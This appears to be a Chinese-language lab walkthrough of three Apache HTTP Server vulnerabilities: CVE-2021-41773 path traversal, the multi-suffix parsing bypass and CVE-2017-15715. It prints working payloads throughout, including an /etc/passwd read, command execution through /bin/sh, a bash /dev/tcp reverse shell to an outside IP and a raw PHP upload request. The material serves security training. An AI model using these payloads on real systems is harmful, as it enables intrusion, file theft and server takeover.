1.apache-cve_2021_41773
Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
版本是2.4.49

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
echo;ls

echo;ls /tmp

也可以反弹shell
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
data=;echo "bash -i >& /dev/tcp/10.108.0.90/9998 0>&1">> /tmp/xxx.sh
data=
:定义一个空变量data
,这部分本身没有实际作用,可能是为了混淆或满足某种语法格式。echo "..." >> /tmp/xxx.sh
:将双引号内的内容追加写入到/tmp/xxx.sh
这个文件中。>>
表示追加内容,不会覆盖文件原有内容。- 核心恶意代码:
bash -i >& /dev/tcp/10.108.0.90/9998 0>&1
bash -i
:启动一个交互式的 bash shell(可以输入命令并获得反馈)。/dev/tcp/10.108.0.90/9998
:这是类 Unix 系统中的特殊路径,用于建立与10.108.0.90
这个 IP 地址的9998
端口的 TCP 连接(攻击者控制的机器通常会在这个端口监听)。>&
和0>&1
:这是 I/O 重定向,将 shell 的输入、输出、错误输出都重定向到上述 TCP 连接中。
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
执行脚本
echo Content-Type: text/plain; echo; bash /tmp/xxx.sh
echo Content-Type: text/plain;
– 输出 HTTP 响应头,表明返回内容是纯文本格式echo;
– 输出一个空行,作为 HTTP 头和正文的分隔符bash /tmp/xxx.sh
– 执行位于/tmp
目录下的xxx.sh
脚本


2.httpd 后缀解析
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。 那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

http://123.58.224.8:37160/uploadfiles/1.php.jpg

3.apache 文件上传 (CVE-2017-15715)
Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
页面访问后一篇空白,那就直接抓包看数据


OPTIONS提交

使用boundary边界上传数据
POST / HTTP/1.1
Host: 123.58.224.8:32015
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------9552222486401230933854482358
Content-Length: 359
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------9552222486401230933854482358
Content-Disposition: form-data; name="name"
1.php
-----------------------------9552222486401230933854482358--
改为0a

接着访问 /1.php%0A